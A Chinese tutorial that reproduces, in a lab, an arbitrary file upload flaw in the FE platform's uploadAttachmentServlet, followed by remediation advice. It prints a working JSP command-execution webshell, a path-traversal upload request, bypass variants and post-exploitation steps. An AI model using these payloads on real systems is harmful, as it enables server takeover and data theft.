1. 项目概述与背景最近在梳理一些企业级应用的历史安全问题时飞企互联的FE企业运营管理平台进入了我的视野。这是一个在国内不少企事业单位尤其是制造业、集团型企业中有一定部署量的综合管理平台集成了OA、流程审批、文档管理等多种功能。在一次内部的安全研究项目中我重点关注了其早期版本中一个名为uploadAttachmentServlet的文件上传接口。这个接口的本意是方便用户上传各类附件到流程或文档中但在实现上存在缺陷导致了任意文件上传漏洞。这意味着攻击者可以绕过前端校验和后端的安全检查将恶意文件如Webshell直接上传到服务器可访问的目录从而获取服务器的控制权。对于企业内网而言这类漏洞的危害是巨大的可能直接导致核心业务数据泄露、服务器被植入后门成为跳板机等严重后果。今天我就来详细拆解一下这个漏洞的成因、复现过程以及背后的安全逻辑。无论你是安全研究人员、渗透测试工程师还是负责运维这类系统的管理员理解这个漏洞都能帮助你更好地进行防御或安全评估。我们会从环境搭建开始一步步分析漏洞触发点并最终完成一个完整的漏洞复现。整个过程中我会穿插很多在实际测试中积累的经验和避坑技巧这些是在官方文档里绝对找不到的干货。2. 漏洞原理深度解析2.1 文件上传漏洞的通用成因在深入FE平台的具体漏洞之前我们有必要先理解任意文件上传漏洞的通用原理。一个健壮的文件上传功能通常需要经过多层防御前端校验通过JavaScript检查文件扩展名、MIME类型或文件大小。但这很容易被绕过例如直接抓包修改请求或者禁用浏览器JS。服务端内容类型检查检查HTTP请求头中的Content-Type字段如image/jpeg。攻击者可以通过伪造请求包将这个字段改为合法的图像类型来绕过。服务端扩展名检查检查文件后缀名如.jpg,.png。常见的绕过手法包括使用大小写.pHp、在末尾添加空格或点.php.、利用解析差异.php.jpg在某些配置下可能被解析为PHP以及双扩展名.php.jpg。服务端文件内容检查通过文件头魔数Magic Number或图像二次渲染来验证文件真实性。这是比较有效的手段但实现复杂。存储路径与权限控制即使恶意文件上传成功如果它被存储在一个无法通过Web直接访问的目录或者其执行权限被剥离危害也会降低。uploadAttachmentServlet这个漏洞的核心问题往往出在上述第2和第3层防御的缺失或实现不当上。Servlet作为Java Web应用的核心组件其文件上传逻辑通常依赖于Apache Commons FileUpload等库但如果开发人员没有对上传的文件名和路径进行严格的过滤和重命名就直接使用用户可控的参数拼接保存路径漏洞就产生了。2.2 FE平台 uploadAttachmentServlet 接口分析根据漏洞情报和部分泄露的代码片段分析飞企互联FE平台的这个Servlet在处理上传请求时大致流程如下接收一个HTTP POST请求内容类型为multipart/form-data。从请求中解析出文件流和相关的表单字段。关键字段可能包括file文件本身、fileName客户端原始文件名、bizType业务类型用于决定存储目录等。漏洞点程序直接使用了客户端提交的fileName参数或者对其进行了不安全的处理如简单的字符串拼接来构造服务器上的最终存储路径。例如String savePath /upload/ bizType / fileName;。将文件流写入到savePath指定的位置。这里的致命问题在于fileName参数完全由用户控制。攻击者可以将其构造为../../../webshell.jsp这样的路径。当与基础路径拼接后就可能实现目录穿越将文件上传到Web应用的根目录甚至其他任意目录。更糟糕的是如果目标目录具有执行脚本的权限如Tomcat的webapps/ROOT目录那么上传的JSP Webshell就可以被直接访问和执行。注意在实际测试中bizType参数有时也可能被利用。如果程序根据bizType动态创建目录但未校验该参数的合法性攻击者通过注入../也可能实现路径控制。因此在复现时这两个参数都需要进行模糊测试。2.3 与类似漏洞的横向对比搜索热词中提到了诸如“im即时通讯系统preview.php”、“熊海cms”、“74cms”等漏洞它们虽然技术栈不同PHP/Java但漏洞本质高度相似对用户输入的可控文件名未做过滤直接用于拼接文件保存路径。这几乎成了中小型管理系统、CMS的一个通病。区别在于后续的利用条件Java应用上传的是.jsp或.jspx文件需要部署在Servlet容器中PHP应用上传的是.php文件需要服务器支持PHP解析。理解这一点就能举一反三在测试其他系统时快速定位类似的风险点。3. 复现环境搭建与工具准备3.1 靶场环境搭建由于直接测试真实系统存在法律风险我们必须在隔离环境中进行复现。有以下几种方案方案一使用历史版本安装包推荐用于深度研究这是最贴近真实的复现方式。你需要寻找存在漏洞的FE平台历史版本安装包例如某个早期的V5.x版本。通常这类资源可以在一些合规的漏洞研究平台或实验环境中找到。准备一台虚拟机安装Windows Server 2008 R2或Windows 7/10并安装好Java运行环境JRE 8和数据库如MySQL 5.7。部署应用按照安装手册将FE平台安装到Tomcat或Resin等Servlet容器中并完成数据库初始化。难点获取准确的漏洞版本安装包比较困难且旧版本软件可能依赖特定的操作系统或数据库版本搭建过程繁琐。方案二使用Docker漏洞靶场推荐用于快速验证一些安全社区或实验室会将已知漏洞的应用程序封装成Docker镜像极大简化了环境搭建。在Linux或安装了Docker Desktop的Windows/Mac上直接执行类似命令docker pull vulhub/fe-enterprise:upload-vuln此为示例实际镜像名需查找。运行容器docker run -d -p 8080:8080 vulhub/fe-enterprise:upload-vuln。访问http://your-ip:8080即可开始测试。优点一键搭建环境纯净不污染主机。方案三使用集成渗透测试系统如DVWA、WebGoat中的文件上传模块进行原理学习如果找不到FE平台的具体环境可以用这些专门的教学靶场来理解漏洞原理和利用手法其本质是相通的。我的实操心得 对于这种特定厂商的漏洞方案二Docker靶场是最优解。如果找不到我会尝试在虚拟机中搭建方案一。切记所有操作必须在授权的隔离网络如虚拟机的NAT模式且断开主机网络中进行。我曾见过有新手在物理机直接搭建靶场误操作导致宿主机被扫描甚至攻击这是绝对要避免的。3.2 必备工具清单工欲善其事必先利其器。以下是复现该漏洞的核心工具工具类别工具名称用途说明关键技巧代理抓包Burp Suite Community/Professional拦截、查看、重放HTTP/HTTPS请求是分析漏洞和构造攻击Payload的核心工具。配置浏览器代理为127.0.0.1:8080。对于HTTPS网站需在浏览器中安装并信任Burp的CA证书。浏览器插件HackBar, FoxyProxy快速切换代理方便测试。HackBar可以辅助构造简单的Payload。FoxyProxy可设置规则仅对目标站点流量走代理不影响正常上网。Webshell管理AntSword (蚁剑), Behinder (冰蝎)文件上传成功后用于连接和管理Webshell。蚁剑开源、插件丰富适合初学者。冰蝎流量加密特征更强但需注意其版本安全性。务必使用从官方或可信源下载的版本。扫描探测浏览器开发者工具 (F12)前端分析查看正常上传请求的格式、参数名。重点关注Network标签页查看上传请求的Form Data部分。辅助脚本自定义Python脚本用于批量FUZZ模糊测试可能的参数和路径。可以编写脚本遍历常见的路径穿越Payload如../../,..\..\和文件名拼接方式。工具配置避坑指南Burp Suite首次使用时务必在Proxy-Options中检查Intercept是否开启并确保Proxy Listeners已正确绑定端口默认8080。如果抓不到包首先检查浏览器代理设置是否正确其次检查是否有其他软件如杀毒软件、其他VPN占用了8080端口。蚁剑/冰蝎这些工具本身功能强大但也可能被杀毒软件报毒。在测试环境中可以临时添加信任。绝对不要在生产环境或日常办公电脑上使用。环境隔离建议将靶场虚拟机、攻击机运行Burp、蚁剑的机器放在同一个独立的虚拟网络如VMware的“仅主机模式”网络中彻底与外界隔离。4. 漏洞复现实操步骤假设我们已经成功搭建了一个存在漏洞的FE平台测试环境访问地址为http://192.168.1.100:8080。4.1 信息收集与接口定位首先我们需要找到uploadAttachmentServlet这个接口的完整URL路径。前端分析正常登录系统找到任何一个可以上传附件的地方例如“新建流程”、“上传文档”等功能。点击上传一个无害的图片文件如test.jpg。抓包观察开启Burp Suite的拦截功能在浏览器中完成上传操作。这时Burp会截获这个HTTP POST请求。POST /fe/uploadAttachmentServlet HTTP/1.1 Host: 192.168.1.100:8080 Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ...其他头部... ------WebKitFormBoundaryABC123 Content-Disposition: form-data; namefile; filenametest.jpg Content-Type: image/jpeg (这里是图片文件的二进制数据) ------WebKitFormBoundaryABC123 Content-Disposition: form-data; namebizType workflow ------WebKitFormBoundaryABC123 Content-Disposition: form-data; namefileName test.jpg ------WebKitFormBoundaryABC123--分析请求从抓到的包中我们可以清晰地看到接口路径/fe/uploadAttachmentServlet。注意上下文路径/fe可能因部署方式不同而变化。关键参数file文件内容、fileName客户端文件名、bizType业务类型。Content-Typemultipart/form-data这是文件上传的标准格式。4.2 构造恶意上传请求我们的目标是上传一个JSP格式的Webshell。这里以一个最简单的JSP Webshell为例其内容为% page importjava.util.*,java.io.*% % if (request.getParameter(cmd) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(cmd)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %这个脚本会接收一个名为cmd的参数并在服务器上执行该命令将结果返回给页面。接下来在Burp Suite的Repeater模块中重放我们刚才抓到的包并进行修改修改filename字段这是最可能的利用点。将filenametest.jpg修改为filename../../../../webshell.jsp。这里的../数量需要根据目标服务器的实际路径深度进行尝试通常从4到6个开始测试。修改fileName表单字段同样将fileName对应的值test.jpg修改为../../../../webshell.jsp。修改文件内容在Burp中找到file参数对应的文件二进制数据部分将其替换为我们上面编写的JSP Webshell的代码。注意保持格式不要破坏multipart/form-data的边界。修改Content-Type将文件部分的Content-Type: image/jpeg修改为Content-Type: text/plain或application/x-jsp虽然不标准但有时能绕过检查。更稳妥的做法是先尝试不修改因为有些后端只检查扩展名。发送请求点击Send按钮。4.3 响应分析与利用确认查看Burp返回的响应包重点关注以下几点响应状态码如果返回200 OK通常是个好兆头。响应内容成功情况响应体里可能包含文件保存的路径信息例如{code:0, msg:success, data:/upload/workflow/20231012/webshell.jsp}。注意这里返回的路径可能是经过处理的不一定是实际物理路径。但其中包含了我们的文件名webshell.jsp这是一个关键信号。失败情况可能返回错误信息如“文件类型不允许”、“上传失败”或直接是Java异常栈信息。栈信息可能暴露真实路径极具价值。尝试访问根据返回的路径或者根据常见的目录结构进行猜测在浏览器中尝试访问Webshell。例如如果返回路径是/upload/workflow/20231012/webshell.jsp则访问http://192.168.1.100:8080/fe/upload/workflow/20231012/webshell.jsp。如果我们使用了路径穿越../../../意图上传到Web根目录则直接访问http://192.168.1.100:8080/fe/webshell.jsp或http://192.168.1.100:8080/webshell.jsp取决于穿越的层级。如果页面能够正常打开可能是一片空白这是正常的说明文件上传成功且可访问。4.4 连接Webshell与后续操作使用蚁剑连接打开蚁剑点击“添加数据”。URL地址填写我们成功访问到的Webshell地址例如http://192.168.1.100:8080/fe/webshell.jsp。连接密码留空因为我们写的Webshell没有设置密码而是通过cmd参数传命令。编码器、请求头等根据情况调整初次尝试可以默认。点击“添加”。如果一切正常左侧会出现一个新的主机双击即可连接并可以浏览服务器文件系统、执行命令等。验证漏洞在蚁剑的虚拟终端中尝试执行whoami、ipconfig或ls等命令确认已获取服务器权限。我的实操心得FUZZ是关键如果第一次简单的../../../webshell.jsp不成功不要放弃。需要系统性地进行FUZZ测试路径穿越Payload变体....//..\..\(Windows路径)%2e%2e%2f(URL编码)..%00.jpg(截断攻击在旧版本Java/特定配置下可能有效)。文件名混淆webshell.jsp.jpgwebshell.jsp%20webshell.jsp.WebShell.JSP(大小写)。参数污染同时修改filename和fileName为不同值看后端以哪个为准。关注响应差异对比上传正常图片和恶意JSP文件时服务器响应在时间延迟、返回包大小、头部字段上的细微差异这可能是WAF或安全组件在起作用的迹象。利用失败的可能原因文件内容被检测如包含危险函数Runtime.getRuntime().exec可以尝试编码、混淆。上传目录没有执行权限JSP引擎无法解析需要尝试穿越到有执行权限的目录。存在WAF需要尝试绕WAF的Payload。5. 漏洞修复与安全加固建议复现漏洞是为了更好地防御。对于企业管理员和开发人员针对此类漏洞应从以下几个层面进行加固5.1 代码层修复根本解决白名单校验文件扩展名在后端使用一个严格的白名单来只允许特定的文件类型如.jpg,.png,.pdf,.docx。绝对禁止.jsp,.jspx,.php,.asp等可执行脚本的后缀。// 伪代码示例 String[] allowedExtensions {.jpg, .png, .pdf}; String fileName getFileNameFromRequest(); boolean isSafe false; for (String ext : allowedExtensions) { if (fileName.toLowerCase().endsWith(ext)) { isSafe true; break; } } if (!isSafe) { throw new SecurityException(Unsupported file type.); }重命名上传文件不要使用用户上传的文件名。使用随机生成的文件名如UUID来存储文件并将原始文件名和映射关系保存在数据库中。String savedFileName UUID.randomUUID().toString() getFileExtension(fileName); // getFileExtension需基于白名单安全获取 Path savePath Paths.get(uploadBaseDir, savedFileName); Files.copy(fileInputStream, savePath);防止路径遍历在拼接文件保存路径前对文件名进行规范化并检查是否包含路径遍历字符。String safeFileName new File(fileName).getName(); // 只取文件名去除路径 // 或者使用库函数检查 if (safeFileName.contains(..) || safeFileName.contains(/) || safeFileName.contains(\\)) { throw new SecurityException(Invalid file name.); }设置文件上传目录权限将文件上传目录设置为不可执行。在Tomcat中可以将上传目录放在WEB-INF下或者通过配置web.xml禁止该目录下的JSP文件被执行。!-- 在web.xml中禁止特定目录执行JSP -- security-constraint web-resource-collection web-resource-nameUploads/web-resource-name url-pattern/uploads/*/url-pattern /web-resource-collection auth-constraint/ !-- 空auth-constraint表示拒绝所有访问 -- !-- 或者结合安全角色但更简单的是直接拒绝JSP请求 -- /security-constraint更常见的做法是通过配置Tomcat的conf/web.xml为*.jsp和*.jspx的Servlet映射添加限制但这通常影响全局。更好的架构是将上传服务独立为一个仅提供静态文件下载的微服务。5.2 运维层防护及时更新与补丁密切关注飞企互联官方发布的安全公告和补丁及时将系统升级到已修复该漏洞的最新版本。部署Web应用防火墙WAF在应用前端部署WAF可以有效地拦截常见的路径遍历、文件上传攻击Payload。但WAF是缓解措施不能替代代码修复。最小权限原则运行Tomcat/JVM的进程账户应使用权限最低的专用用户而非root或Administrator。严格限制其对操作系统关键目录的读写权限。定期安全扫描使用专业的Web漏洞扫描器或安排渗透测试人员定期对系统进行文件上传漏洞专项扫描。5.3 安全开发规范SDL对于开发团队应将安全作为开发生命周期的一部分安全培训让所有开发人员了解OWASP Top 10特别是“失效的访问控制”和“注入”类漏洞文件上传是两者的结合体。使用安全组件使用经过安全审计的、成熟的文件上传库如Apache Commons FileUpload的Security Guide并按照其最佳实践进行配置。代码审计在代码提交和发布前引入静态代码扫描SAST工具检查是否存在不安全的文件操作API调用。漏洞奖励建立内部或外部的漏洞报告渠道鼓励白帽子帮助发现潜在问题。6. 深度利用与防御绕过思考在基础复现之上真实的攻击场景往往更复杂。攻击者不会满足于上传一个简单的Webshell他们会尝试更深度的利用和绕过防御。6.1 从文件上传到获取服务器权限上传Webshell只是第一步后续的利用更为关键信息收集通过Webshell执行whoami,systeminfo,netstat -ano,ipconfig /all等命令了解服务器角色是否是域成员、网络结构、开放端口。权限提升如果当前进程权限较低如tomcat用户需要寻找提权机会。检查系统补丁情况wmic qfe list寻找已知的本地提权漏洞。检查是否有弱密码或配置不当的服务。内网横向移动如果服务器在内网利用它作为跳板使用端口扫描、漏洞扫描工具对内网其他主机进行探测。利用获取的凭据尝试访问文件共享、数据库等。持久化后门创建计划任务、启动项、服务或者写入SSH authorized_keys确保在服务器重启后仍能维持访问。防御视角因此防御不能只停留在“防止文件上传”。需要部署主机安全产品HIDS监控异常进程创建、可疑命令执行、对外网络连接等行为实现从网络层到主机层的纵深防御。6.2 高级绕过技巧如果目标系统部署了基础防护攻击者可能会尝试以下绕过方式内容校验绕过如果系统检查文件头可以在Webshell代码前添加合法的图片文件头如GIF的GIF89a制作“图片马”。然后利用其他文件包含漏洞来执行其中的PHP代码或者利用服务器解析漏洞如IIS 6.0的目录解析*.asp;.jpg。条件竞争绕过有些系统会先保存文件再检查其内容如果不合法再删除。攻击者可以快速、并发地上传和访问文件在删除前的一瞬间访问并执行Webshell。二次渲染绕过针对图像上传后会被重新压缩或渲染的系统需要精确计算渲染后的像素点将Webshell代码“嵌入”到图片中并保证渲染后代码依然可被提取和执行。这需要极高的技巧。WAF绕过通过分割Payload、编码、使用生僻字符、利用HTTP协议特性如分块传输编码等方式绕过WAF的规则检测。给防御者的启示安全防护必须多层叠加。单一的文件扩展名检查是远远不够的。需要结合文件内容识别、行为监控、机器学习异常检测等多种手段。同时保持组件的更新因为很多解析漏洞源于旧版本服务器软件的缺陷。7. 总结与个人体会回顾整个飞企互联FE平台uploadAttachmentServlet漏洞的复现过程它再次印证了一个老生常谈却又屡见不鲜的安全真理永远不要信任用户输入。这个漏洞的根源在于开发人员将用户可控的fileName参数未经充分净化就直接拼接到了文件系统路径中这种编程习惯是极其危险的。在实际的渗透测试工作中遇到文件上传功能我的检查清单通常是先抓包看请求结构然后尝试修改扩展名、增加路径遍历符、伪造Content-Type。如果这些简单方法被拦截再深入分析是否有前端校验、是否检查文件内容、是否有WAF并相应地进行更复杂的绕过尝试。这个过程就像一场攻防博弈需要耐心和创造力。对于企业来说修复这类漏洞的代码改动可能很小但带来的安全收益是巨大的。更重要的是要通过这个案例在开发团队中建立起牢固的安全意识将安全编码规范落实到每一次代码提交中。安全不是产品上线前才考虑的“附加功能”而是贯穿于设计、开发、测试、运维全生命周期的“基础属性”。最后无论是研究还是测试法律和道德的边界绝对不能逾越。所有操作都必须在获得明确授权的环境中进行。通过合法合规的方式研究漏洞、提升技能才能在这个领域走得更远、更稳。